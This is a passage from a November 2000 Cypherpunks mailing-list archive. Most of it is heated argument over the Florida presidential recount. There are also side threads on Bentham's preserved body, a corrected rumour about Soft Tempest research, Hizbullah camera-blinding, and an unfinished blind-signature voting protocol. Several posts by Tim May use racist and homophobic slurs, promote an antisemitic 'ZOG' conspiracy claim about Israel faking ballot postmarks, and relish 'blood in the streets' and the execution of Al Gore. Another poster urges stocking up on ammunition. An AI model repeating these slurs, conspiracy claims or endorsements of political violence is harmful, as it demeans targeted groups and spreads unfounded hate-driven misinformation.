<3A0BDD39.53335BA7@ccs.bbk.ac.uk> Peter has the truth of it. Jeremy - or what's left of him - is in a fridge-sized box only a couple of hundred metres from where I am now, in a sort of lobby or wide corridor. Usually closed but there is a window, and I have seen it opened sometimes (for some reason this is more likely on the way back from the bar..) His head is on top of the body these days and he is wearing a hat. You can just about see him (or his box, anyway) from the street if you look through one of the doors to UCL and crane your neck a lot. Or you can walk right in to UCL. Ken "Trei, Peter" wrote: > > Nah! Just dig him up and wheel him to all the meetings. (I believe that > > has been done at some British university. Not certain. Too much Ripley's > > Believe It or Not as a kid...) > > > Jeremy Bentham, spiritual founder of University College, University of > London. > > http://www.ucl.ac.uk/Bentham-Project/jb.htm > for an image of the 'auto-icon' > http://www.ucl.ac.uk/Bentham-Project/auto_il.gif > > It turns out that the story that the his preserved body attends University > Council meetings (and is noted in the minutes as 'present, not voting') > is only a UL (university legend). > > I got my degree at Kings College, University of London. Bentham was an > atheist and the founder of Utilitarianism. King's was founded by a group > of religious Londoners appalled by the thought of godless UC, and even > in the late 1970's there was still a distinct rivalry between the two > schools. > > Periodically, students from UC would steal 'Reggie' a lifesize lion statue > which was King's mascot, and King's students would kidnap Jeremy's > head (which is separated from, but stored with, the rest of his body). > Usually, the momentos would be ransomed after a few weeks, with the > money going to charity. > > Peter Trei > > PS: We covered all this in the list 5-6 years ago. From tcmay at got.net Fri Nov 10 11:49:02 2000 From: tcmay at got.net (Tim May) Date: Fri, 10 Nov 2000 11:49:02 -0800 Subject: CDR: Re: Rants and sour grapes ... In-Reply-To: References: Message-ID: At 7:08 PM +0000 11/10/00, Gil Hamilton wrote: >Ernest Hua writes: >>It is abundantly clear to me that much of the ranting going on here >>on this list is at least 50% sour grapes. >> >>Not to pick on Tim, but he just seems like a convenient example; it >>is clear in Tim's mind that he does not want the possibility of >>Gore being the next president. He may have some procedural reasons >>to back this rant up, but he definitely does not like Gore. > >You arrogant pinhead. It is you who have been whining that these >poor dimwitted voters in Palm Beach County must be allowed to vote >again; after all, "the voters should get what they want." > >In any case, if they did hold a revote in Palm Beach County, what >happens after that? What if Bush is still ahead and there are more >spoiled ballots? What if Gore is ahead, but there are spoiled >ballots? Or, is the objective to just allow them to re-vote again >and again until you and Gore get the outcome you're looking for? There will be blood in the streets if a "do over" is allowed in Palm Beach County. Frankly, were such a "do over" ordered, I have no doubt that Gore would pick up the extra 300 or so votes he needs to beat Bush. I outlined the basic reasons a day or two ago in my "Causality and Close Elections" piece. It's why we all vote at nominally the same time. In fact, the margin for a "new victory" would likely be much more than 300 votes. To Ernest Hua, Pinhead, this would be "the will of the people." As I've said, I sort of hope this happens. It would make for exciting news. And blood in the streets. Folks like me would be calling for the trial and execution of Al Gore and his thousands of lackeys. That would be sort of fun. Meanwhile, the chaos and paralysis is also useful. > >And what about other states? There were spoiled ballots in every >state and probably every precinct, and I have no doubt there was >some idiot confused by the ballot in every such case. What is the >threshold at which we allow that state or precinct to vote over >again? Re-votes, or "do overs," are inherently unfair in the most basic sense. This is why they are so rare, so _fucking_ rare. Even in cases in Miami where actual fraud was found, the courts did not order a re-vote. Rather, they tossed out entire blocs of ballots which were thought to have been tainted. There is no evidence of substantial fraud in the Palm Beach County matter, as we've discussed ad nauseum (ballots approved in advance, ballots published, no disputes, ballots used in '96 election, number of spoiled ballots comparable to number in '96, etc.). Even if there _were_, the remedy would likely be to discard all of the Palm Beach County votes before there would ever be a re-vote. (And the 150,000 voters, IIRC, who got it "right," who didn't drool on their ballots or mark mulitple choices, would be justified in then complaining that _they_ were being penalized for having carefully looked at the ballot!) > >I'm beginning to think Tim is right: The fuse on this powder keg >is lit. The NAACP and its ilk, along with Gore partisans like you, >will never accept the outcome of this election. Which is one reason I sort of hope the hundreds of lawyers sent down to Florida by the Gore Team succeed in throwing the election to Gore. > > >Better stock up on ammo, folks. (Maybe Y2K was just a few months >late.) > Got that one covered. I don't expect hordes in the countryside, but we could see some the Welfare Mutants and Inner City Maggots rioting, looting, and shitting in their own nests. Most of South-Central LA remains boarded up and economically wasted, which I think is poetic justice. Let the Democrat "maggots and faggots" deal with Jesse Jackson's promised race war. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From gbroiles at netbox.com Fri Nov 10 11:52:49 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Fri, 10 Nov 2000 11:52:49 -0800 Subject: CDR: Paper re privacy law, wiretaps Message-ID: <20001110115249.B19595@ideath.parrhesia.com> An ISP trade organization has commissioned a paper detailing the legal basis (or lack thereof) for law enforcement requests to service providers for access to users' communications. The paper is available online at ; I wasn't able to find a text/html version. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From ben at algroup.co.uk Fri Nov 10 04:21:37 2000 From: ben at algroup.co.uk (Ben Laurie) Date: Fri, 10 Nov 2000 12:21:37 +0000 Subject: CDR: Re: BSA deploys imaginary pirate software detector vans References: <011b01c04aac$e8b0b8e0$0100a8c0@nandts> Message-ID: <3A0BE851.259E1384@algroup.co.uk> Neil Johnson wrote: > > Wasn't there some articles some time ago about Microsoft doing research into > Tempest/Van Eck (sp) radiation ? It was speculated at the time that they > were going include software to "broadcast" their serial numbers so that > illegal copies could be detected. That was a thing Ross Anderson did for Microsoft, IIRC. Cheers, Ben. -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From tcmay at got.net Fri Nov 10 12:26:25 2000 From: tcmay at got.net (Tim May) Date: Fri, 10 Nov 2000 12:26:25 -0800 Subject: CDR: Late-postmarked ballots from ZOG-occupied Palestine Message-ID: Now we hear of calls urging dual-citizenship residents of ZOG-occupied Palestine to send in absentee ballots to Florida, especially for the estimated 400 dual-citizenship, or visiting tourists, from Palm Beach County. The claim is that if they can "prove" they were unable to have them postmarked by the time polls closed in Florida, due to the violence or whatever, that maybe they will still be allowed in. (And I wouldn't put it past the ZOG to rig the postmarks and then put the ballots on a fast jet to Florida.) According to a Reuters story, " Friday November 10 12:52 PM ET U.S. Absentee Voters in Mideast 'Unknown Quantity' By Danielle Haas JERUSALEM (Reuters) - Absentee voters living in Israel and Palestinian territories could influence the outcome of the razor-edge U.S. presidential election but are unlikely to be able to vote late, a U.S. embassy official said on Friday. Some analysts had speculated that voters registered in Florida but living in Israel and Palestinian-ruled areas could still send in ballot papers if they proved they were unable to postmark them by the November 7 deadline. " -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From vin at shore.net Fri Nov 10 09:28:33 2000 From: vin at shore.net (Vin McLellan) Date: Fri, 10 Nov 2000 12:28:33 -0500 Subject: CDR: RE: Where is John Young? In-Reply-To: Message-ID: <4.2.2.20001110121701.029f2ac0@shell1.shore.net> At 11/10/00, Trei, Peter wrote: >There are new articles, dated today, in the cryptome. There is >a gap from Nov 5 thru Nov 9. Maybe he went on vacation. Naaah. John doesn't go on vacations. I would be surprised if he sleeps. According to well-informed US government sources --speaking in their private capacities, with a promise of ZKS-protected anonymity) -- subject JYA is, in any case, never further than 7.6 meters from a keyboard whether he is awake or asleep. Could it be he was off on a binge celebrating the continuation of the DC gridlock? _Vin From k.brown at ccs.bbk.ac.uk Fri Nov 10 04:38:23 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Fri, 10 Nov 2000 12:38:23 +0000 Subject: CDR: Re: Close Elections and Causality References: Message-ID: <3A0BEC3F.2568B441@ccs.bbk.ac.uk> Tim May wrote: > > * In a close, nearly-tied election, should a re-vote be allowed? > > * In a close sports game, should all potential "fork" decisions > (referee calls) be reviewed and the game rolled-back...even hours > later? Should critical plays be re-played the next day? > > * Did the woman who voted at 9 a.m. but whose vote was counted at the > _end_ of the final count, and whose vote seemingly "caused" one > candidate to win and another to lose _actually_ "cause" the outcome? > > * Did Oregon, for example, whose votes were counted last and whose > votes put a candidate over the top actually "cause" the outcome? [... quite a lot snipped...] This is almost an argument *for* re-running the election. If the Palm Beach (or whatever the place is called) voters tip the balance to either Gore or Bush can they in any real sense be said to have decided the election? Their votes still won't count for any more than any other citizen of Florida. ISTM that the real reason for avoiding a re-vote is is the practicality of it. All that money, media attention and lawyerage will be focussed on a small group of people, as Tim points out later: > Deciding that one of those states or one of those counties was > "decisive" (caused the outcome, was a hinge point, etc.) and thus > should be given a chance to hold a new vote, has numerous > implications for fairness: > > * instead of being just another voter, just another voting site, the > N residents will now have the weight of the entire election outcome > on their shoulders > > * intensive lobbying for votes will occur, far beyond the original > lobbying (when I say "far beyond" I mean by several orders of > magnitude...it might be that all residents would have to be > sequestered from the time of the announcement of a re-vote to the > actual re-vote just to ensure that bribes are not offered, etc.). [...more snips...] > Rules are rules. The time to object is beforehand. Unless extremely > serious voter fraud is found, results should not be thrown out when > those results are in accordance with the rules. In no cases should a > re-vote of a "hinge county" be allowed for less-than-massive-fraud > reasons. But are there no rules in Florida allowing for a re-vote? If there really are 19,000 spoiled papers from once county, that sounds "massive" to me. It may not be fraud - the fools who designed the papers probably thought they were doing right - but it has the same effect. > And, of course, Palm County will _not_ be given a second chance to > vote in this election. I guarantee it. When did they make you a Florida judge? (About the same time they made me an expert on the laws of a state I've never visited & know nothing about I suppose...) Ken Brown (unfortunately a fan of elections and constitutions) From ernest at luminousnetworks.com Fri Nov 10 12:42:01 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Fri, 10 Nov 2000 12:42:01 -0800 Subject: CDR: RE: Rants and sour grapes ... Message-ID: <090825D1E60BD311B8390090276D5C4965DD11@galileo.luminousnetworks.com> 1. I still find it funny that bozos like you assume that I would vote for Gore. But that's one thread that will probably not lead anywhere with your type. 2. I did not say that the right resolution for Palm Beach County was to let them vote. I simply stated that the goal is of an election was to figure out what the electorate wanted, not whether the electorate was good at using or abusing any particular voting technique or process. Tim and company (and perhaps you) seemed to be quite absolutist in the notion that whatever shit happens on election day, that's the way it is, and no one ever get a chance to correct anything. I don't subscribe to that absolutist view. I also did not say that any flexibility or compromise resolution is only for Palm County or any other Gore-leaning counties. YOU and Tim and the rest made that assumption (hence, probably item #1 above). 3. Unlike many of you nuts, I do not subscribe to the notion that violence is the next step (even if you claim that YOU yourself wouldn't do it, but someone else will ... that's just a lot of chicken shit BS). If you want powder keg and ammo and Ryder trucks, you are on a different planet than mine. It is not impossible for me to ever pick up a gun, but it is not anywhere near top-10 on my list. I may agree with you and Tim on crypto, but I certain loath to meet either of you in person on the streets. Your anti-everything and get out of my hair anger is just too much for my tastes. Ern -----Original Message----- From: Gil Hamilton [mailto:gil_hamilton at hotmail.com] Sent: Friday, November 10, 2000 11:08 AM To: cypherpunks at algebra.com Subject: Re: Rants and sour grapes ... Ernest Hua writes: >It is abundantly clear to me that much of the ranting going on here on this >list is at least 50% sour grapes. > >Not to pick on Tim, but he just seems like a convenient example; it is >clear in Tim's mind that he does not want the possibility of Gore being the >next president. He may have some procedural reasons to back this rant up, >but he definitely does not like Gore. You arrogant pinhead. It is you who have been whining that these poor dimwitted voters in Palm Beach County must be allowed to vote again; after all, "the voters should get what they want." In any case, if they did hold a revote in Palm Beach County, what happens after that? What if Bush is still ahead and there are more spoiled ballots? What if Gore is ahead, but there are spoiled ballots? Or, is the objective to just allow them to re-vote again and again until you and Gore get the outcome you're looking for? And what about other states? There were spoiled ballots in every state and probably every precinct, and I have no doubt there was some idiot confused by the ballot in every such case. What is the threshold at which we allow that state or precinct to vote over again? I'm beginning to think Tim is right: The fuse on this powder keg is lit. The NAACP and its ilk, along with Gore partisans like you, will never accept the outcome of this election. And holding a re-vote is the beginning of the end. Republicans aren't likely to let the Dems get away with stealing it back. In the end, I guess Slick Willie will just have to declare himself dictator-for-life and invoke martial law to "maintain order". Better stock up on ammo, folks. (Maybe Y2K was just a few months late.) - GH _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 5881 bytes Desc: not available URL: From tcmay at got.net Fri Nov 10 12:47:45 2000 From: tcmay at got.net (Tim May) Date: Fri, 10 Nov 2000 12:47:45 -0800 Subject: CDR: Looking for statistically-unlikely surges in absentee ballots Message-ID: I just heard Karen Hughes of the Bush Campaign express concern about the status of absentee ballots being mailed AFTER the outcome of the election was shown to be so close. In particular, after the legal cut-off date. This fits with what I just posted about concerns that Florida dual-citizenship residents of Israel, or tourists in Israel, sending in absentee ballots they had neglected to send in by the cut-off date. (Or, more ominously, ZOG conveniently postmarking them to match the law in Florida.) [By the way, I think in my ZOG piece I mentioned Palm Beach County. This is not the point, as the closeness of the vote is Florida-wide. This is what I meant to say.] The thing to look for is a _surge_ in ballots arriving in Florida absentee ballots as compared to other states. While other states may also have some degree of "after the fact absentee ballots," the incentives are higher in a razor-thin state like Florida. A surge of absentee ballots arriving two or three days after the controversy became obvious would be compelling evidence to justify further investigation. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From k.brown at ccs.bbk.ac.uk Fri Nov 10 04:50:19 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Fri, 10 Nov 2000 12:50:19 +0000 Subject: CDR: Re: A successful lawsuit means Gore wins! References: Message-ID: <3A0BEF0B.BFA4828D@ccs.bbk.ac.uk> Jim Choate wrote: > What happens if by the day the new president is to take his oath there is > still no clear winner? IANAL nor even a USAn but I think your constitution says that the President is chosen by the electoral college. They can - and I assume will - choose a President with or without the representatives of Florida. The legal issue is between the people of Florida (some of who claim to have been disenfranchised) and their state government. If it isn't settled, the rest of the USA will choose the President & some Floridans will get very cross. You can find copies of your country's constitution online, if you aren't near a library. > Even if the candidates get together and one is a > gracious loser, the trauma won't be lessened. I'm sure it would, but it is hard to imagine them doing it. > There will be literaly no > faith in the president. What would Congress need to do in order to pass an > emergency resolution that would allow the current president to stay in > office until the issue is resolved. The issue is resolved when the EC choose the new President. [...snip...] > This will probably distract the military from as many foreign involvements > as well. There will be no clear foreign policy. This could have > devastating effects for many of the high tension areas (e.g. China - > Taiwan). It will probably effect global terrorism as well. We'll also see > an increase in espionage as well. This could effect future crypto regs in > a negative way as well. Cyphers and paranoid politicians. Eh? Was this pasted in from another topic? How does this "distract the military"? If they are like any other countries military they will be quite happy to get on with their own agenda. Do you think that the government of China really cares a dam who you elect as President? Or that "global terrorism" will increase because policy-making in Washington is slowed down? Or even that policy-making in Washington will be slowed down. You have lots and lots of civil servants over there who will carry on in their jobs with or without t And when was the last time there was a "clear foreign policy" anyway? Ken, confused. From Markus.Kuhn at cl.cam.ac.uk Fri Nov 10 04:54:48 2000 From: Markus.Kuhn at cl.cam.ac.uk (Markus Kuhn) Date: Fri, 10 Nov 2000 12:54:48 +0000 Subject: BSA deploys imaginary pirate software detector vans In-Reply-To: Your message of "Fri, 10 Nov 2000 09:39:40 GMT." Message-ID: > From: "Neil Johnson" > > Wasn't there some articles some time ago about Microsoft doing research into > Tempest/Van Eck (sp) radiation ? It was speculated at the time that they > were going include software to "broadcast" their serial numbers so that > illegal copies could be detected. This entire story is complete nonsense (and I am the closest person on this planet to the source of this rumour). There was a slightly misleading article in Scientific American, issue 12/1998, http://www.sciam.com/1998/1298issue/1298techbus4.html on this issue that was presented on http://slashdot.org/articles/98/11/16/0028250.shtml in a completely wrong and misleading way. The original idea of using broadcast serial numbers in electromagnetic emanations appeared in Markus G. Kuhn, Ross J. Anderson: Soft Tempest: Hidden Data Transmission Using Electromagnetic Emanations, in David Aucsmith (Ed.): Information Hiding, Second International Workshop, IH'98, Portland, Oregon, USA, April 15-17, 1998, Proceedings, LNCS 1525, Springer-Verlag, ISBN 3-540-65386-4, pp. 124-142. http://www.cl.cam.ac.uk/~mgk25/ih98-tempest.pdf as well as in patent application GB9722799.5. This was based on (early ongoing) research done by myself and Ross Anderson and was not funded by anyone. Microsoft never had anything to do with it. We showed early results among others to Microsoft Research, and they decided that they were not interested in pursuing it any further, mostly because of the "big brother" aspect of the entire idea. As far as I know, Microsoft has not done or funded any research on compromising emanations. If someone is really using today serial numbers embedded in compromising emanations of PCs to track software pirates, then I would most definitely like to know about it. Not only out of academic curiosity, but also to talk about patent license issues ... Markus -- Markus G. Kuhn, Computer Laboratory, University of Cambridge, UK Email: mkuhn at acm.org, WWW: From ernest at luminousnetworks.com Fri Nov 10 09:56:46 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Fri, 10 Nov 2000 12:56:46 -0500 Subject: CDR: RE: A very brief politcal rant Message-ID: <090825D1E60BD311B8390090276D5C4965DD0E@galileo.luminousnetworks.com> I'm sorry, but we just clearly disagree. Every voter had enough opportunity to know that the guy was dead, and that the wife was to succeed him. If some voters did not know, I'm sorry to them. It was all over the news. Every person has a right to be hermit or to be generally clueless. But I cannot help those people. In the original message, the central issue was whether it was legal for the governor to appoint the wife. I spoke to that issue assuming that the voters had enough opportunity to know what was going on. To believe your assertions, you would have to assume that the voter walked into the booth never picking up on any news and never spoke to anyone, and just had no clue who he/she was voting for. This behavior is clearly legal. But just as Tim cannot be concerned about inner city welfare mothers ("maggots"? what word did he use?), I simply cannot be concerned about this uninformed segment of the electorate. Ern -----Original Message----- X-Loop: openpgp.net From: Declan McCullagh [mailto:declan at well.com] Sent: Friday, November 10, 2000 7:14 AM To: Ernest Hua Cc: Multiple recipients of list Subject: Re: A very brief politcal rant On Fri, Nov 10, 2000 at 12:51:05AM -0500, Ernest Hua wrote: > My original point still stands. The voters should get what they > want, unless they want something clearly illegal. That's a clear > principle in our pseudo-democracy. Every principle has a point No, your original point was muddled. It's not clear that every voter who chose the dead guy knew that his widow would take the slot. Since the election is so close, that matters. If you want to make sure the voters are getting what they want, put the non-dead-guy's name on the ballot. -Declan -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2933 bytes Desc: not available URL: From declan at well.com Fri Nov 10 10:00:24 2000 From: declan at well.com (Declan McCullagh) Date: Fri, 10 Nov 2000 13:00:24 -0500 Subject: CDR: RE: A very brief politcal rant In-Reply-To: <090825D1E60BD311B8390090276D5C4965DD0E@galileo.luminousnet Message-ID: <4.3.0.20001110125929.01ccd900@mail.well.com> As a working journalist writing about politics, I get lots of feedback from voters. Many are, sadly, clueless. But it is a stretch to assert, as you blithely do, that every voter knew that the guy was dead. My own experience shows otherwise. -Declan At 09:55 11/10/2000 -0800, Ernest Hua wrote: >To believe your assertions, you would have to assume that the >voter walked into the booth never picking up on any news and >never spoke to anyone, and just had no clue who he/she was >voting for. This behavior is clearly legal. But just as Tim >cannot be concerned about inner city welfare mothers ("maggots"? >what word did he use?), I simply cannot be concerned about this >uninformed segment of the electorate. From ernest at luminousnetworks.com Fri Nov 10 13:03:58 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Fri, 10 Nov 2000 13:03:58 -0800 Subject: CDR: RE: Looking for statistically-unlikely surges in absentee ballots Message-ID: <090825D1E60BD311B8390090276D5C4965DD12@galileo.luminousnetworks.com> And would you be so upset if it were a county full of people that share YOUR political persuasion, but similarly configured? Probably not. Therefore, you are not quite the objective guy you claim. You just have a lot of vocal people on this list who share YOUR views. There are a lot of people in Palm Beach County who share some other views. They feel cheated. They are angry. They are using the legal system to do something about it. They may not succeed. (Who cares.) All I claimed was that they have a right to pursue the issue precisely because the goal of elections is to see what the voters want, not whether the voters meet some intelligence criteria or can decipher some level of complexity. I may personally dislike the notion that such idiots are voting, but they have every right to vote. I also am well aware that real people in real situations make mistakes. That is why there are lots of recourses to help fix election process problems. Of course, the ideal would be that everyone votes exactly at the same time, with informed intelligence, etc .. Real life is much more complicated than that, and unlike you, I do not pretend to know every complication (and have an proper solution) that could happen to such a huge process. Ern, President and CEO, PinHead Inc. -----Original Message----- From: Tim May [mailto:tcmay at got.net] Sent: Friday, November 10, 2000 12:48 PM To: cypherpunks at algebra.com Subject: Looking for statistically-unlikely surges in absentee ballots I just heard Karen Hughes of the Bush Campaign express concern about the status of absentee ballots being mailed AFTER the outcome of the election was shown to be so close. In particular, after the legal cut-off date. This fits with what I just posted about concerns that Florida dual-citizenship residents of Israel, or tourists in Israel, sending in absentee ballots they had neglected to send in by the cut-off date. (Or, more ominously, ZOG conveniently postmarking them to match the law in Florida.) [By the way, I think in my ZOG piece I mentioned Palm Beach County. This is not the point, as the closeness of the vote is Florida-wide. This is what I meant to say.] The thing to look for is a _surge_ in ballots arriving in Florida absentee ballots as compared to other states. While other states may also have some degree of "after the fact absentee ballots," the incentives are higher in a razor-thin state like Florida. A surge of absentee ballots arriving two or three days after the controversy became obvious would be compelling evidence to justify further investigation. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 4854 bytes Desc: not available URL: From ernest at luminousnetworks.com Fri Nov 10 10:09:56 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Fri, 10 Nov 2000 13:09:56 -0500 Subject: CDR: RE: A very brief politcal rant Message-ID: <090825D1E60BD311B8390090276D5C4965DD0F@galileo.luminousnetworks.com> Ok ... so we are now splitting hairs on language. Fine. Have it your way. My statement that every voter actually knew was improper. However, you are just going off on a tangent ... I am sure that months or years after JFK was assasinated, you can find someone who didn't even know he was in office. There is just no way to deal with this level of cluelessness. In these days of mass media, Internet, etc ... If you didn't know the guy was dead, and his wife was to take his place, you aren't trying. I don't care. It's not my state. I still had no choice but to be bombarded with that news. Sorry. My point still stands. Ern -----Original Message----- X-Loop: openpgp.net From: Declan McCullagh [mailto:declan at well.com] Sent: Friday, November 10, 2000 10:01 AM To: Ernest Hua; Ernest Hua Cc: Multiple recipients of list Subject: RE: A very brief politcal rant As a working journalist writing about politics, I get lots of feedback from voters. Many are, sadly, clueless. But it is a stretch to assert, as you blithely do, that every voter knew that the guy was dead. My own experience shows otherwise. -Declan At 09:55 11/10/2000 -0800, Ernest Hua wrote: >To believe your assertions, you would have to assume that the >voter walked into the booth never picking up on any news and >never spoke to anyone, and just had no clue who he/she was >voting for. This behavior is clearly legal. But just as Tim >cannot be concerned about inner city welfare mothers ("maggots"? >what word did he use?), I simply cannot be concerned about this >uninformed segment of the electorate. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2811 bytes Desc: not available URL: From ernest at luminousnetworks.com Fri Nov 10 13:35:31 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Fri, 10 Nov 2000 13:35:31 -0800 Subject: CDR: Another mental exercise for the absolutists ... Message-ID: <090825D1E60BD311B8390090276D5C4965DD15@galileo.luminousnetworks.com> New Mexico appears to be having a problem ... Some ballots are not found. What would YOU do about it? A computer glitch left out 60K+ ballots. What would YOU do about it? For the violently anti-Gore types: This state appears to be the opposite of New Mexico in terms of political pursuasion. A re-count or a re-do could very well put Bush ahead. Ern -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 931 bytes Desc: not available URL: From anonymous at openpgp.net Fri Nov 10 10:37:48 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Fri, 10 Nov 2000 13:37:48 -0500 Subject: CDR: low tech surveillance-cam countermeasures in Israel Message-ID: <1c39b93665748747d0c9b4aeed32e3db@mixmaster.ceti.pl> Hizbullah operatives seeking to block IDF cameras (IsraelWire-11/10) Hizbullah guerilla forces are stepping up their anti-Israel activities, including efforts to block sophisticated IDF cameras installed along the northern border. With the use of mirrors, Hizbullah is working to block the effectiveness of the surveillance cameras installed along the northern border. The cameras, mounted atop armored personnel carriers, were deployed following the unilateral IDF withdrawal from southern Lebanon in June. Hizbullah activists are using mirrors to blind the cameras with sunlight, making surveillance increasingly difficult at a time when the northern border remains on high alert. http://www.virtualjerusalem.com/articles/542001.htm From Steven.Furlong at FMR.COM Fri Nov 10 10:38:49 2000 From: Steven.Furlong at FMR.COM (Furlong, Steven) Date: Fri, 10 Nov 2000 13:38:49 -0500 Subject: CDR: Re: A very brief politcal rant Message-ID: Robert Hettinga wrote: >...The one person I fear more than Tim May, maybe even >my Roslindale Attorney, being me dear Mum... :-)) You think you got it bad? _My_ mom is a small-town deputy. And she drives a pickup. The only saving grace is there isn't a shotgun rack in the pickup. Regards, Steve Furlong, Computer Condottiere Have GNU, will travel sfurlong at acmenet.net From rah at shipwright.com Fri Nov 10 11:41:29 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Fri, 10 Nov 2000 14:41:29 -0500 Subject: CDR: Yer Mahm... Message-ID: At 1:38 PM -0500 on 11/10/00, Furlong, Steven wrote: > Robert Hettinga wrote: >>...The one person I fear more than Tim May, maybe even >>my Roslindale Attorney, being me dear Mum... :-)) > > You think you got it bad? _My_ mom is a small-town deputy. > And she drives a pickup. The only saving grace is there isn't > a shotgun rack in the pickup. *My* mom will be 79 next month. She has spent most of her spare hours, as long as I can remember, in Republican politics in various places, from El Paso to St. Thomas to Anchorage to St. Louis to Dallas, and, finally, to Albuquerque, where she's now lived for almost 20 years. The Republican Party being where, as most people probably know, the women do all the work and the men just walk around like they own the place -- just so you know where *I* got it from. :-). She retired with real estate broker's licenses in three states that I know about, Missouri, Alaska, and Texas. Maybe also New Mexico, too, for all I know. She's personally gotten a couple of dozen people elected, the one of longest record being Alaska's Congressman Don Young, for whom she run an RCC-decorated phone-room get-out-the-vote operation. Young's still on the Hill, stuffing those pork barrels and with yours and my money and packing them off the almost-wilds of Alaska, or at least Los Anchorage, where all his votes *really* live. One of her memories (besides telling Ronald Reagan to his face in no uncertain terms that he was damn well going to get Carter elected in 1976 if he didn't sit down and shut up :-)) was baby-sitting one George Herbert Walker Bush one St. Louis day in the middle 70's, when he was between jobs and nobody really wanted to talk to him at the time... At the moment, if she's not contemplating the Ruin of the American Republic at the Hands of Albert Gore, Jr. (our favorite scenario was him buying off the electoral college), her having been a poll-judge at almost every election I can remember until the last few, she's probably yelling "Recount!", into the phone, at the top of her lungs, an the Appropriate Duly-Constituted Legal Official about that something-hundred-vote squeaker in New Mexico that she *knows* Bush *really* won. :-). Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From bear at sonic.net Fri Nov 10 14:46:20 2000 From: bear at sonic.net (Ray Dillinger) Date: Fri, 10 Nov 2000 14:46:20 -0800 (PST) Subject: CDR: A secure voting protocol Message-ID: Okay, this information is old hat to most folk here - but it seems relevant just now, and if the infrastructure had been in place for this election, it could have saved us a heck of a lot of trouble. Bear An Election Protocol: Or, a way for people in voting societies to exercise their franchise without stirring themselves to get down to the polls or, for that matter, leaving their computer. 1) Alice the voter creates twenty sets of ballots. Each set of ballots contains one ballot each for all the different things Alice could vote for. ie, if it's a presidential election, each set would contain: a ballot voting for the American Reform Party candidate, a ballot voting for the Constitutional Party candidate a ballot voting for the Democratic Party candidate, a ballot voting for the Green Party candidate, a ballot voting for the Libertarian Party candidate, a ballot voting for the Nazi Party candidate, a ballot voting for the Republican Party candidate, a ballot voting for the Socialist Party candidate, a ballot voting for the Whig Party candidate, et cetera. Each set of ballots also has an identification number, chosen at random from a number field big enough to make collisions unlikely. The identification number is on each ballot, and is common to all ballots in that set. For 3 * 10^8 voters, a 25-digit decimal number should make collisions acceptably unlikely. 2) Alice now blinds all the ballot sets with different blinding factors and transmits them to Bob the vote tabulator. She Also sends Bob a digitally signed message that says "I'm voting -- Alice". 3) Bob checks the digital signature, checks to make sure he hasn't already signed a ballot for Alice, picks one of the twenty sets, and communicates his choice to Alice. 4) Alice responds by sending Bob the blinding factors for the other nineteen sets of ballots. 5) Bob unblinds the nineteen sets of ballots, making sure that they all have exactly one ballot per candidate and that each set uses its own identification number. Satisfied that Alice is not trying to "pull a fast one", Bob then signs each ballot in the chosen set of ballots and returns them all to Alice. 6) Alice unblinds the ballot set while preserving Bob's signature. She now has a set of ballots signed by Bob. She encrypts the ballot reflecting her choice with Bob's public key and sends it to Bob anonymously. 7) Bob decrypts the ballot, checks his own signature to make sure it's valid, checks the identification number to make sure no other ballots from this set have been submitted already, writes down the identification number to check future ballots against, and increments his tally for the candidate Alice selected. 8) When the election is over, Bob publishes the ballots and the signed "I'm voting" messages. Alice can scan the published information to make sure that her vote is present and that the numbers all add up correctly. Alice can also check to make sure that there are NOT more ballots than there were "I'm voting" messages, preventing Bob from stuffing the ballot box. The protocol enforces the one vote per voter rule. If Alice tries to obtain more than one set of ballots, Bob will detect it in step 3. If Alice tries to submit more than one ballot from the same set, Bob will detect it in step 7. No one other than the voter can tell whom a particular voter voted for. Bob signs the ballots from the selected set under a blinding factor in step 5. When he later gets the unblinded ballot in step 6, he can check his signature, but cannot correlate it to any particular ballot he's signed. The only person who can prove who Alice voted for is Alice. She can communicate her submitted ballot to a third party before Bob publishes the results, and when Bob publishes the ballots the third party can make sure there's a ballot that matches. Bob is able to generate fake ballots, but he 